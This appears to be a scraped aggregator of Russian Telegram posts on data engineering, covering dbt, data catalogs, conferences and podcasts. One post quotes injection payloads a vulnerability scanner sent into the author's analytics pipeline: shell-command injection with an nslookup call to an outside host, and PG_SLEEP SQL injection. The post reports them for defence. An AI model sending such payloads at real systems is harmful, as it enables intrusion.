Новые быстрые IT-курсы от ПрактикумаОсвоить новую профессию теперь можно на буткемпах — новых программах длительностью от 2 до 5 месяцев. Курсы подойдут тем, у кого нет опыта в программировании или анализе данных, но есть желание и время, чтобы интенсивно Новые быстрые IT-курсы от ПрактикумаОсвоить новую профессию теперь можно на буткемпах — новых программах длительностью от 2 до 5 месяцев. Курсы подойдут тем, у кого нет опыта в программировании или анализе данных, но есть желание и время, чтобы интенсивно

Новые быстрые IT-курсы от ПрактикумаОсвоить новую профессию теперь можно на буткемпах — новых программах длительностью от 2 до 5 месяцев. Курсы подойдут тем, у кого нет опыта в программировании или анализе данных, но есть желание и время, чтобы интенсивно учитьсяНа буткемпах от Практикума можно стать аналитиком данных, фронтенд-разработчиком, специалистом по Data Science или инженером по тестированию.Особенности коротких программ:- Еженедельное планирование с наставником- Наставник на связи весь день.В течение ~8 учебных часов можете писать наставнику любые вопросы по заданиям.- Вебинары каждую неделю.Разберёте сложные темы, получите помощь с проектами и ответы на вопросы.- Помощь с трудоус…

1 месяц, 1 неделя назад @ t.me
В @ozon_tech вышел второй эпизод подкаста Рандомные Дрова. Ребята расширили стек и добавили дата-аналитику. Можно послушать про собесы, кейсы, обучение, тех.интервью и процессы в разных компаниях.В этом эпизоде встретились Ван Хачатрян (Head of ML Ozon),
В @ozon_tech вышел второй эпизод подкаста Рандомные Дрова. Ребята расширили стек и добавили дата-аналитику.  Можно послушать про собесы, кейсы, обучение, тех.интервью и процессы в разных компаниях.В этом эпизоде встретились Ван Хачатрян (Head of ML Ozon), В @ozon_tech вышел второй эпизод подкаста Рандомные Дрова. Ребята расширили стек и добавили дата-аналитику. Можно послушать про собесы, кейсы, обучение, тех.интервью и процессы в разных компаниях.В этом эпизоде встретились Ван Хачатрян (Head of ML Ozon),

В @ozon_tech вышел второй эпизод подкаста Рандомные Дрова. Ребята расширили стек и добавили дата-аналитику. Можно послушать про собесы, кейсы, обучение, тех.интервью и процессы в разных компаниях.В этом эпизоде встретились Ван Хачатрян (Head of ML Ozon), Денис Нечитайло (Head of Product Analytics Ozon) и Сергей Юдин (COO Яндекс Кью). Обсудили, где пролегает граница между дата-сайентистами и дата-аналитиками, поговорили о том, что нужно дата-сайентисту и что пригодится аналитику данных, рассказали, откуда взялась мода на дата-сайентистов (спойлер: по одной изверсий, из-за этой статьи «Дата-сайентист – самая сексуальная профессия»). Послушать можно тут: 🎧Яндекс🎧Apple🎧Google

1 месяц, 1 неделя назад @ t.me
Наткнулся на замечательную подборку шаблонов d3.js у ObservableНапример, есть шаблон для анализа Retention, в котором помимо привычного хитмапа по когортам есть отображение кривых убывания когорт, а также детализация когорт в Cycle Plot. Всё это дело касто
Наткнулся на замечательную подборку шаблонов d3.js у ObservableНапример, есть шаблон для анализа Retention, в котором помимо привычного хитмапа по когортам есть отображение кривых убывания когорт, а также детализация когорт в Cycle Plot. Всё это дело касто Наткнулся на замечательную подборку шаблонов d3.js у ObservableНапример, есть шаблон для анализа Retention, в котором помимо привычного хитмапа по когортам есть отображение кривых убывания когорт, а также детализация когорт в Cycle Plot. Всё это дело касто

Наткнулся на замечательную подборку шаблонов d3.js у ObservableНапример, есть шаблон для анализа Retention, в котором помимо привычного хитмапа по когортам есть отображение кривых убывания когорт, а также детализация когорт в Cycle Plot. Всё это дело кастомизируется под ваши данные, достаточно только загрузить таблицу с количеством пользователей в разбивке по когортам и отчетным периодамА ещё есть аналогичный шаблон, но с Retention по сегментам

1 месяц, 1 неделя назад @ t.me
Хочешь писать код чище, ревьюить объективнее, деплоить быстрее? Тогда подписывайся на канал Just code IT — сообщество по программированию Там ты найдешь обсуждения тонкостей языков, алгоритмов, ИБ, компиляторов, обзоры ретро-игр, и прочий лоу-левел и ха
Хочешь писать код чище, ревьюить объективнее, деплоить быстрее? Тогда подписывайся на канал Just code IT — сообщество по программированию Там ты найдешь обсуждения тонкостей языков, алгоритмов, ИБ, компиляторов, обзоры ретро-игр, и прочий лоу-левел и ха

Хочешь писать код чище, ревьюить объективнее, деплоить быстрее? Тогда подписывайся на канал Just code IT — сообщество по программированию Там ты найдешь обсуждения тонкостей языков, алгоритмов, ИБ, компиляторов, обзоры ретро-игр, и прочий лоу-левел и хай-тек. Нам, например, зашел обзор любительских ОС с GUI, почитайте.

1 месяц, 2 недели назад @ t.me
Из любопытных инструментов, в Hex, онлайн сервисе тетрадок для машинного обучения, появились no-code cells [1], это когда вместо написания Python или SQL можно выбрать интерактивно параметры, а сервис сам сгенерирует код.Выглядит удобно как гибридный инстр
Из любопытных инструментов, в Hex, онлайн сервисе тетрадок для машинного обучения, появились no-code cells [1], это когда вместо написания Python или SQL можно выбрать интерактивно параметры, а сервис сам сгенерирует код.Выглядит удобно как гибридный инстр Из любопытных инструментов, в Hex, онлайн сервисе тетрадок для машинного обучения, появились no-code cells [1], это когда вместо написания Python или SQL можно выбрать интерактивно параметры, а сервис сам сгенерирует код.Выглядит удобно как гибридный инстр

Из любопытных инструментов, в Hex, онлайн сервисе тетрадок для машинного обучения, появились no-code cells [1], это когда вместо написания Python или SQL можно выбрать интерактивно параметры, а сервис сам сгенерирует код.Выглядит удобно как гибридный инструмент, и для тех кто напишет код сам, и для тех кому угодно не в виде кода, и для тех кто поправит за вторыми, то что они не могут сами.Наступает время гибридных инструментов!Ссылки:[1] https://hex.tech/blog/introducing-no-code-cells#datatools #sql #python

1 месяц, 2 недели назад @ t.me
Труба данных Труба данных
последний пост 4 дня, 21 час назад
Про онбоардинг в Data TeamsПару недель назад ко мне в команду пришел новый инженер и мне предстояло его онбоардить. До этого процесс онбоардинга у нас выглядел “своеобразно” - 35 видео, от 20 до 40 минут, в какждом из которых рассказывалось про какую-либо
Про онбоардинг в Data TeamsПару недель назад ко мне в команду пришел новый инженер и мне предстояло его онбоардить. До этого процесс онбоардинга у нас выглядел “своеобразно” - 35 видео, от 20 до 40 минут, в какждом из которых рассказывалось про какую-либо

Про онбоардинг в Data TeamsПару недель назад ко мне в команду пришел новый инженер и мне предстояло его онбоардить. До этого процесс онбоардинга у нас выглядел “своеобразно” - 35 видео, от 20 до 40 минут, в какждом из которых рассказывалось про какую-либо тулзу или процесс, котороый у нас есть.С одной стороны, это прикольно, не тратишь ничье время, смотришь видосы, и ты готов что-то делать. Но практика оказалась другой: видосы ты посмотрел, а делать пока не можешь, потому что уже забыл, в каком видосе и что пояснялось. В итоге, вместо полноценной единицы через месяц получалось что-то на 50% готовое делать полноценные задачи, 70% если ты мотивированный и активный и 30% если нет.Что я в итоге…

4 дня, 21 час назад @ t.me
https://newsletter.pragmaticengineer.com/p/what-is-data-engineeringThe Pragmatic Engineer вместе с SeattleDataGuy написал огромную статью про то, что же такое Data Engineering. Если вы не читали Fundamentals of Data Engineering - то это фактически сокращен
https://newsletter.pragmaticengineer.com/p/what-is-data-engineeringThe Pragmatic Engineer вместе с SeattleDataGuy написал огромную статью про то, что же такое Data Engineering. Если вы не читали Fundamentals of Data Engineering - то это фактически сокращен

https://newsletter.pragmaticengineer.com/p/what-is-data-engineeringThe Pragmatic Engineer вместе с SeattleDataGuy написал огромную статью про то, что же такое Data Engineering. Если вы не читали Fundamentals of Data Engineering - то это фактически сокращенная выжимка.Ничего сеньорного, в целом самые базовые концепции поясняются, целевая аудитория все-таки все остальные в айтишке, не дата инженеры =)Так что если вы вдруг что-то пропустили случайно или вашу голову щекочет какая-то аббревиатура - можно зайти почитать.

1 неделя назад @ t.me
Так, SmartData уже не за горами и на сайте уже появились некоторые доклады https://bit.ly/3KSsrvMИз интересного лично мне:Владимир Озеров “Как устроено выполнение SQL-запросов в Trino” (https://smartdataconf.ru/talks/1fc81e775df2473f9865202aca7a4642/)Наш
Так, SmartData уже не за горами и на сайте уже появились некоторые доклады https://bit.ly/3KSsrvMИз интересного лично мне:Владимир Озеров “Как устроено выполнение SQL-запросов в Trino” (https://smartdataconf.ru/talks/1fc81e775df2473f9865202aca7a4642/)Наш

Так, SmartData уже не за горами и на сайте уже появились некоторые доклады https://bit.ly/3KSsrvMИз интересного лично мне:Владимир Озеров “Как устроено выполнение SQL-запросов в Trino” (https://smartdataconf.ru/talks/1fc81e775df2473f9865202aca7a4642/)Наш основной инструмент работы с данными в Gett. И хоть я пару книжек прочитал по теме, все равно интересно.Юлия Волкова “Любовь и ненависть к Prefect 2.0 после Apache Airflow” (https://smartdataconf.ru/talks/aceb4db19f59418780bcc9dc8fd4fc08/)Мы ж когда-нибудь свалим с Jenkins (да-да, так бывает, не спрашивайте). И вот выбор Airflow vs Prefect - это наш шортлист. Забавный факт, несколько лет назад, когда я был джуном, меня Юля собесила. Техсобе…

1 неделя, 4 дня назад @ t.me
https://medium.com/data-monzo/the-many-layers-of-data-lineage-2eb898709ad3Да-да, каталоги и data lineage - моя больная тема. А вот тут прекрасная статья нашлась, которая поясняет, что data lineage на деле, это не просто связь между колонками и таблицами, а
https://medium.com/data-monzo/the-many-layers-of-data-lineage-2eb898709ad3Да-да, каталоги и data lineage - моя больная тема. А вот тут прекрасная статья нашлась, которая поясняет, что data lineage на деле, это не просто связь между колонками и таблицами, а

https://medium.com/data-monzo/the-many-layers-of-data-lineage-2eb898709ad3Да-да, каталоги и data lineage - моя больная тема. А вот тут прекрасная статья нашлась, которая поясняет, что data lineage на деле, это не просто связь между колонками и таблицами, а нечно более. А именно несколько слоев: зависимость колонок, зависимость таблиц, зависимость на уровне моделей (ага, таблица != модель), зависимость на бизнес уровне.И как только вы построили самый нижний слой (например, при помощи DBT), у вас появляется еще кучка новых вопросов. @ohmydataengineer

1 неделя, 6 дней назад @ t.me
Это случилось! К нам пришел гость, который рассказал про то зачем нужны Data-каталоги, какими они бывают и как подобрать тот, который нужен именно вам.В гостях у подкаста Data Coffee был Алмаз Мурзабеков (Telegram, Email), Data Engineer из Picsart. Он зани
Это случилось! К нам пришел гость, который рассказал про то зачем нужны Data-каталоги, какими они бывают и как подобрать тот, который нужен именно вам.В гостях у подкаста Data Coffee был Алмаз Мурзабеков (Telegram, Email), Data Engineer из Picsart. Он зани Это случилось! К нам пришел гость, который рассказал про то зачем нужны Data-каталоги, какими они бывают и как подобрать тот, который нужен именно вам.В гостях у подкаста Data Coffee был Алмаз Мурзабеков (Telegram, Email), Data Engineer из Picsart. Он зани

Это случилось! К нам пришел гость, который рассказал про то зачем нужны Data-каталоги, какими они бывают и как подобрать тот, который нужен именно вам.В гостях у подкаста Data Coffee был Алмаз Мурзабеков (Telegram, Email), Data Engineer из Picsart. Он занимается на работе DI и DE, и прямо сейчас внедряет Data Catalog в компании.Вот лишь один полезный совет из нового эпизода, который вам точно пригодится. По этим двум основным признакам можно понять, что пора внедрять data catalog:- избыточная коммуникация между data-пользователями;- чрезмерная сложность работы с имеющимися данными.P.S.: счетчик этого эпизода показал цифру 8️⃣#datacoffee #podcast #data Где слушать🎧:— Anchor.FM— YouTube— Бот …

2 недели, 2 дня назад @ t.me
В продолжении недавней темы про каталоги, вот тут у ребят из Data Cofee вышел выпуск про каталоги данных, что, куда и зачем.
В продолжении недавней темы про каталоги, вот тут у ребят из Data Cofee вышел выпуск про каталоги данных, что, куда и зачем.

В продолжении недавней темы про каталоги, вот тут у ребят из Data Cofee вышел выпуск про каталоги данных, что, куда и зачем.

2 недели, 2 дня назад @ t.me
https://movedata.airbyte.com/Есть такие ребята Airbyte (https://airbyte.com), конкуренты Airflow, запускатор по расписанию, опенсорсный бесплатный и платный у них в облаке.Так вот они решили организовать конференцию по Data Engineering.Есть только даты (8-
https://movedata.airbyte.com/Есть такие ребята Airbyte (https://airbyte.com), конкуренты Airflow, запускатор по расписанию, опенсорсный бесплатный и платный у них в облаке.Так вот они решили организовать конференцию по Data Engineering.Есть только даты (8-

https://movedata.airbyte.com/Есть такие ребята Airbyte (https://airbyte.com), конкуренты Airflow, запускатор по расписанию, опенсорсный бесплатный и платный у них в облаке.Так вот они решили организовать конференцию по Data Engineering.Есть только даты (8-10 Ноября) и ссылка на Slack, программы пока нет.Возможно, будет что-то интересное. А может и нет. Just FYI. P.S. Аудитория подсказывает, что ближайшие конкуренты это Fivetran, Stitch или Hevo. Спасибо @[email protected]

3 недели назад @ t.me
https://www.jeremiahlee.com/posts/failed-squad-goals/Управление командами, а тем более компаниями, штука непростая. Я за последний месяц успел это прочувствовать это на себе, получив обязанности тимлида. Не удивляет меня и то, что компании всегда в поиске
https://www.jeremiahlee.com/posts/failed-squad-goals/Управление командами, а тем более компаниями, штука непростая. Я за последний месяц успел это прочувствовать это на себе, получив обязанности тимлида. Не удивляет меня и то, что компании всегда в поиске

https://www.jeremiahlee.com/posts/failed-squad-goals/Управление командами, а тем более компаниями, штука непростая. Я за последний месяц успел это прочувствовать это на себе, получив обязанности тимлида. Не удивляет меня и то, что компании всегда в поиске модели взаимодействия, которое поможет им:- упростить взаимодействие между командами- ускорить поставку нового функционала- разделять знания и адаптировать лучшие практики соседних команд.Возможно, вы слышали про инженерную культуры Spotify. Если нет, то можно почитать и посмотреть небольшой видос. Наверняка, вы слышали про эту культуру и организованность.Меня лично очень сильно удивляло, когда российские компании начали слепо адаптировать…

3 недели, 3 дня назад @ t.me
- https://seattledataguy.substack.com/p/cataloging-data-catalogs- https://github.com/opendatadiscovery/awesome-data-catalogs- И целый топик в GitHub - https://github.com/topics/data-catalogКаталог Каталогов ДанныхОтносительно недавно мы начали готовить поч
- https://seattledataguy.substack.com/p/cataloging-data-catalogs- https://github.com/opendatadiscovery/awesome-data-catalogs- И целый топик в GitHub - https://github.com/topics/data-catalogКаталог Каталогов ДанныхОтносительно недавно мы начали готовить поч

- https://seattledataguy.substack.com/p/cataloging-data-catalogs- https://github.com/opendatadiscovery/awesome-data-catalogs- И целый топик в GitHub - https://github.com/topics/data-catalogКаталог Каталогов ДанныхОтносительно недавно мы начали готовить почву для того, чтобы внедрять каталог данных и автоматическую документацию. Поэтому я сидел и исследовал, а что же доступно на рынке каталогов данных. В общем и целом, много чего, и платного и опен-сорс.Поэтому, если вам предстоит похожая задача, вот несколько подборок (по большей части, пересекающиеся между собой)[email protected]

4 недели назад @ t.me
https://dataproducts.substack.com/p/the-rise-of-data-contractsСегодня будет горячая для меня тема: контракты данных. Начнем прямо с главного: *Today, engineers have almost no incentive to take ownership of the data quality they produce outside operational
https://dataproducts.substack.com/p/the-rise-of-data-contractsСегодня будет горячая для меня тема: контракты данных. Начнем прямо с главного: *Today, engineers have almost no incentive to take ownership of the data quality they produce outside operational

https://dataproducts.substack.com/p/the-rise-of-data-contractsСегодня будет горячая для меня тема: контракты данных. Начнем прямо с главного: *Today, engineers have almost no incentive to take ownership of the data quality they produce outside operational use cases. This is not their fault. They have been completely abstracted away from analytics and ML.*И это в большинстве случаев правда. Разработчики не особо парятся про то, что происходит с их данными за пределами базы их сервисов. А нам потом с этим работать и недовольный пользователь первым делом кидается какашкой в нас, владельцев платформы.Рассмотрим пример: есть GDPR процесс, по которому пользователь может у вас запросить удалить вс…

1 месяц назад @ t.me
У ребят из Datafold еще в июле вышла прекрасная статья - https://is.gd/l4oNaY. Основной фокус в статье можно описать одним предложением: *Rather than building systems that detect and alert on breakages, build systems that don’t break.*Observability это хор
У ребят из Datafold еще в июле вышла прекрасная статья - https://is.gd/l4oNaY. Основной фокус в статье можно описать одним предложением: *Rather than building systems that detect and alert on breakages, build systems that don’t break.*Observability это хор

У ребят из Datafold еще в июле вышла прекрасная статья - https://is.gd/l4oNaY. Основной фокус в статье можно описать одним предложением: *Rather than building systems that detect and alert on breakages, build systems that don’t break.*Observability это хорошо, очень хорошо. Но если вы в день видите 24 уведомления о том, что у вас кривые данные, весь ваш день будет потрачен на то, чтобы эти кривые данные поправить. Так может стоит инвестировать в то, чтобы строить то, что не ломается? Например, тесты, data lineage, data diff. Про это в статье как раз речь. Мы имеем свойство переоценивать количество проблем с данными, которые приходят снаружи, и существенно недооцениваем количество наших собс…

1 месяц назад @ t.me
Какое-то время назад я писал анонс про книгу “Fundamentals of Data Engineering”.Книжку я в итоге купил, прочитал и я очень остался доволен. Впервые за долгое время было очень приятно читать книгу, в которой на базовом уровне описываются хорошие практики, п
Какое-то время назад я писал анонс про книгу “Fundamentals of Data Engineering”.Книжку я в итоге купил, прочитал и я очень остался доволен. Впервые за долгое время было очень приятно читать книгу, в которой на базовом уровне описываются хорошие практики, п

Какое-то время назад я писал анонс про книгу “Fundamentals of Data Engineering”.Книжку я в итоге купил, прочитал и я очень остался доволен. Впервые за долгое время было очень приятно читать книгу, в которой на базовом уровне описываются хорошие практики, про то, как все устроено и с какими проблемами сталкиваются DE и команды.А еще взгляды автора совпадали на некоторые аспекты и процессы совпадали с моими, приятно осозновать, что я практики, до которых я дошел самостоятельно или научился у других, оказываются, и правда хорошие. Спасибо моим учителям =)А теперь из прикольного: у ребят в datatalks.club в слаке есть канал book-of-the-week, где эту неделю автор книги отвечает на все вопросы. Со…

1 месяц, 1 неделя назад @ t.me
О чем в кризис надо говорить? Правильно, о зарплатах.На самом деле я не очень люблю эти корпоративные отчеты. Мне всегда кажется, что они совсем мимо моей картины мира (как по описанию, так и по зарплатам, например). Однако это хороший способ высунуть нос
О чем в кризис надо говорить? Правильно, о зарплатах.На самом деле я не очень люблю эти корпоративные отчеты. Мне всегда кажется, что они совсем мимо моей картины мира (как по описанию, так и по зарплатам, например). Однако это хороший способ высунуть нос

О чем в кризис надо говорить? Правильно, о зарплатах.На самом деле я не очень люблю эти корпоративные отчеты. Мне всегда кажется, что они совсем мимо моей картины мира (как по описанию, так и по зарплатам, например). Однако это хороший способ высунуть нос из своего пузыря и узнать, а как еще этот мир видят и, возможно, твой менеджер, потенциально, ведь компании покупают эти отчеты. И не смотря на то, что я не люблю эти отчеты, я решил посмотреть, что тут выдали ребята из Harnham. Полные отчеты приложены к посту, чтобы вам не пришлось регистрироваться, чтобы их скачать. Несколько наблюдений из отчетов:- Отчеты называются “Data & Analytics Salary Guide 2022” и вот Top-5 технологий из EU отчет…

1 месяц, 2 недели назад @ t.me
В очередной раз про хороших инженеров…В мой последний поход в подкаст я говорил о том, как инженерам расти по зарплате / грейдам / whatever внутри компании или, как говорится, “за всё хорошее против всего плохого”.После этого выпуска мне в личку пришли нес
В очередной раз про хороших инженеров…В мой последний поход в подкаст я говорил о том, как инженерам расти по зарплате / грейдам / whatever внутри компании или, как говорится, “за всё хорошее против всего плохого”.После этого выпуска мне в личку пришли нес

В очередной раз про хороших инженеров…В мой последний поход в подкаст я говорил о том, как инженерам расти по зарплате / грейдам / whatever внутри компании или, как говорится, “за всё хорошее против всего плохого”.После этого выпуска мне в личку пришли несколько человек и задали вопрос: “Собственно, а как ты берешь на себя больше ответственности? Еще один пайплайн поддерживаешь? А потом еще базенку берешь деплоить и мониторить? Так на это все времени не хватит!”Здесь есть маленький секрет: кроме классических “возьму на себя дополнительной работы, буду по ночам Spark деплоить”, есть другой подход. Выглядит он примерно следующим образом:- Находим раздражающую вас вещь: деплой приложения, запу…

1 месяц, 2 недели назад @ t.me
SmartData - конференция для Дата Инженеров.“О нееет, реклама! А говорил, что не продашься! И вообще ты самый последний, кто запостил эту новость, все с тобой понятно!”А вот и нет! С ребятами из JUG мы знакомы давно и никаких денег за рекламу единственной в
SmartData - конференция для Дата Инженеров.“О нееет, реклама! А говорил, что не продашься! И вообще ты самый последний, кто запостил эту новость, все с тобой понятно!”А вот и нет! С ребятами из JUG мы знакомы давно и никаких денег за рекламу единственной в

SmartData - конференция для Дата Инженеров.“О нееет, реклама! А говорил, что не продашься! И вообще ты самый последний, кто запостил эту новость, все с тобой понятно!”А вот и нет! С ребятами из JUG мы знакомы давно и никаких денег за рекламу единственной в РФ конфы для дата инженеров я не собирался брать.Ребята открыли CFP - Call For Papers - то есть можно подавать заявки на доклады. Если помните, какое-то время назад я делал опрос про то, о чем написать. Тогда победил всеми любимый DBT. И если вы думаете, что я забил, то ни-фи-га. Я не только не забил, но даже почти притащил DBT в компанию. Осталось презентовать и раскатить 😋 (мы честно, в связи с нагрузкой, презентацию переносили аж полто…

1 месяц, 3 недели назад @ t.me
enthusiastech enthusiastech
последний пост 1 неделя назад
Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на ин
Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на ин

Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на инженеров, которые уже очень хорошо знакомы со системой контроля версий, CI/CD и вот это вот все. Нам кажется, что для нашей целевой аудитории доклад не будет иметь прикладной полезности."Технические детали это: "Я говорила про различные вариации b-tree в движках, как пример того, насколько глубокие технические подробности нам интересны"B-tree в аналитических СУБД и больших данных в 2022... Бугага 😂Есть идеи, на какой RU конфе готовы слушать…

1 неделя назад @ t.me
Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) s
Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) s

Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) staging area.Looks like a vulnerability scanner is used. Take a look at the sample data:echo bvazvs$()\ igzdlg\nz^xyu||a #' &echo bvazvs$()\ igzdlg\nz^xyu||a #|" &echo bvazvs$()\ igzdlg\nz^xyu||a #bxss.me/t/xss.html?%00`(nslookup hitxbheyywgyq5e37d.bxss.me||perl -e "gethostbyname('hitxbheyywgyq5e37d.bxss.me')")`aUV52Y1o' OR 826=(SELECT 826 FROM PG_SLEEP(15))--^(#[email protected]#$)(()))******Despite basic checks are enforced (non-empty string, valid jso…

1 неделя назад @ t.me
Ух, как же много материала, которым хочется поделиться.Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartDataБудете ждать? 🤔
Ух, как же много материала, которым хочется поделиться.Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartDataБудете ждать? 🤔 Ух, как же много материала, которым хочется поделиться.Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartDataБудете ждать? 🤔

Ух, как же много материала, которым хочется поделиться.Не всё успеваю публиковать. Подал заявку на доклад на конфе SmartDataБудете ждать? 🤔

1 месяц назад @ t.me
Сегодня хотел бы поговорить о широко распространенной СУБД Greenplum и, в частности, о Platform Extension Framework (PXF) - расширении, с помощью которого открываются почти неограниченные возможности интеграции с множеством внешних систем и форматов данных
Сегодня хотел бы поговорить о широко распространенной СУБД Greenplum и, в частности, о Platform Extension Framework (PXF) - расширении, с помощью которого открываются почти неограниченные возможности интеграции с множеством внешних систем и форматов данных

Сегодня хотел бы поговорить о широко распространенной СУБД Greenplum и, в частности, о Platform Extension Framework (PXF) - расширении, с помощью которого открываются почти неограниченные возможности интеграции с множеством внешних систем и форматов данных.В этой публикации Вас ждет:– Основные возможности PXF, конфигурация, способы оптимизации.– Организация Extract - Load с помощью PXF (Data Lake / OLTP).– Объединение локальных и внешних таблиц в запросах (Federated queries).– Запись данных во внешние системы (Clickhouse).Читать на Хабр →#pipelines #ELT #dwh #greenplum #pxf

1 месяц, 1 неделя назад @ t.me
A very useful and handy implementation of Load step from ELT acronym.Use this example to build your own Extract - Load solution and take into account all the possible outcomes and issues you may face in advance:– Handling duplicate rows (even when uniquene
A very useful and handy implementation of Load step from ELT acronym.Use this example to build your own Extract - Load solution and take into account all the possible outcomes and issues you may face in advance:– Handling duplicate rows (even when uniquene

A very useful and handy implementation of Load step from ELT acronym.Use this example to build your own Extract - Load solution and take into account all the possible outcomes and issues you may face in advance:– Handling duplicate rows (even when uniqueness constraint is not enforced)– Coping with DELETEs on source side (hard deletes)– Allowing data inspection and time travel with metadata attributes– Examples for Amazon Redshift, Google BigQuery, Snowflakehttps://docs.hevodata.com/data-loading/loading-data-to-warehouse/#elt #pipelines

1 месяц, 3 недели назад @ t.me
Слайды моего доклада с [dbt meetup]Зрелость DBT-проекта. Есть, куда расти?– К чему стремимся, используя dbt?– Матрица зрелости dbt-проекта– Кейс Wheely + dbt– Что дальше и как это использовать у себя#meetup
Слайды моего доклада с [dbt meetup]Зрелость DBT-проекта. Есть, куда расти?– К чему стремимся, используя dbt?– Матрица зрелости dbt-проекта– Кейс Wheely + dbt– Что дальше и как это использовать у себя#meetup

Слайды моего доклада с [dbt meetup]Зрелость DBT-проекта. Есть, куда расти?– К чему стремимся, используя dbt?– Матрица зрелости dbt-проекта– Кейс Wheely + dbt– Что дальше и как это использовать у себя#meetup

3 месяца, 2 недели назад @ t.me
Во вторник 14 июня в 19.00 в рамках развития сообщества @dbt_users будет проведен второй митап, посвященный инструменту dbt. Интереснейшие доклады ребят из Wheely, ADV/web-engineering co., Space307 и NabuMinds: – dbt + Clickhouse: кластер, версионировани
Во вторник 14 июня в 19.00 в рамках развития сообщества @dbt_users будет проведен второй митап, посвященный инструменту dbt. Интереснейшие доклады ребят из Wheely, ADV/web-engineering co., Space307 и NabuMinds: – dbt + Clickhouse: кластер, версионировани

Во вторник 14 июня в 19.00 в рамках развития сообщества @dbt_users будет проведен второй митап, посвященный инструменту dbt. Интереснейшие доклады ребят из Wheely, ADV/web-engineering co., Space307 и NabuMinds: – dbt + Clickhouse: кластер, версионирование…

3 месяца, 2 недели назад @ t.me
Мой доклад стартует в 19.05:Зрелость DBT-проекта. Есть, куда расти?– К чему стремимся, используя dbt?– Матрица зрелости dbt-проекта– Кейс Wheely + dbt– Что дальше и как это использовать у себя
Мой доклад стартует в 19.05:Зрелость DBT-проекта. Есть, куда расти?– К чему стремимся, используя dbt?– Матрица зрелости dbt-проекта– Кейс Wheely + dbt– Что дальше и как это использовать у себя

Мой доклад стартует в 19.05:Зрелость DBT-проекта. Есть, куда расти?– К чему стремимся, используя dbt?– Матрица зрелости dbt-проекта– Кейс Wheely + dbt– Что дальше и как это использовать у себя

3 месяца, 2 недели назад @ t.me
Во вторник 14 июня в 19.00 в рамках развития сообщества @dbt_users будет проведен второй митап, посвященный инструменту dbt.Интереснейшие доклады ребят из Wheely, ADV/web-engineering co., Space307 и NabuMinds:– dbt + Clickhouse: кластер, версионирование да
Во вторник 14 июня в 19.00 в рамках развития сообщества @dbt_users будет проведен второй митап, посвященный инструменту dbt.Интереснейшие доклады ребят из Wheely, ADV/web-engineering co., Space307 и NabuMinds:– dbt + Clickhouse: кластер, версионирование да

Во вторник 14 июня в 19.00 в рамках развития сообщества @dbt_users будет проведен второй митап, посвященный инструменту dbt.Интереснейшие доклады ребят из Wheely, ADV/web-engineering co., Space307 и NabuMinds:– dbt + Clickhouse: кластер, версионирование данных и другие сложности реализации– Data Quality в Modern Data Stack– Зрелость dbt-проекта. Есть, куда расти?– dbt в etl-командах: снимаем типовые боли байтовозовСлоты фиксированы по времени, можно подключаться на любой доклад. После каждого доклада есть время на вопросы-ответы и общение.Ссылка на ютуб придет как обычно перед началом митапа. До встречи 😉https://space307.team/dbtmeetup

3 месяца, 2 недели назад @ t.me
Жизнь на болотахИли когда лягушки активизируются во время вебинара#humor
Жизнь на болотахИли когда лягушки активизируются во время вебинара#humor

Жизнь на болотахИли когда лягушки активизируются во время вебинара#humor

3 месяца, 3 недели назад @ t.me
Привет! Сегодня продолжаем – 2 часть вебинара: Extract - Load как сервис и как собственное решение. Поиск баланса и дзен – 1. In-house EL + LIVE MaestroQA + Airflow – 2. Гибридные подходы + LIVE Airbyte – 3. Жизнь после EL – Transform & Deliver – dbt
Привет! Сегодня продолжаем – 2 часть вебинара: Extract - Load как сервис и как собственное решение. Поиск баланса и дзен – 1. In-house EL + LIVE MaestroQA + Airflow – 2. Гибридные подходы + LIVE Airbyte – 3. Жизнь после EL – Transform &amp; Deliver – dbt

Привет! Сегодня продолжаем – 2 часть вебинара: Extract - Load как сервис и как собственное решение. Поиск баланса и дзен – 1. In-house EL + LIVE MaestroQA + Airflow – 2. Гибридные подходы + LIVE Airbyte – 3. Жизнь после EL – Transform & Deliver – dbt + Looker…

4 месяца назад @ t.me
Привет! Сегодня продолжаем – 2 часть вебинара:Extract - Load как сервис и как собственное решение. Поиск баланса и дзен– 1. In-house EL + LIVE MaestroQA + Airflow– 2. Гибридные подходы + LIVE Airbyte– 3. Жизнь после EL – Transform & Deliver – dbt + Loo
Привет! Сегодня продолжаем – 2 часть вебинара:Extract - Load как сервис и как собственное решение. Поиск баланса и дзен– 1. In-house EL + LIVE MaestroQA + Airflow– 2. Гибридные подходы + LIVE Airbyte– 3. Жизнь после EL – Transform &amp; Deliver – dbt + Loo

Привет! Сегодня продолжаем – 2 часть вебинара:Extract - Load как сервис и как собственное решение. Поиск баланса и дзен– 1. In-house EL + LIVE MaestroQA + Airflow– 2. Гибридные подходы + LIVE Airbyte– 3. Жизнь после EL – Transform & Deliver – dbt + LookerОпыт production pipelines, взвесим, сравним плюсы и минусы.Ссылка на YouTube-трансляцию: https://youtu.be/hoqM7gfqQNg

4 месяца назад @ t.me
Запустил трансляцию, присоединяйтесь!https://www.youtube.com/watch?v=AN__n3xefv8
Запустил трансляцию, присоединяйтесь!https://www.youtube.com/watch?v=AN__n3xefv8

Запустил трансляцию, присоединяйтесь!https://www.youtube.com/watch?v=AN__n3xefv8

4 месяца назад @ t.me
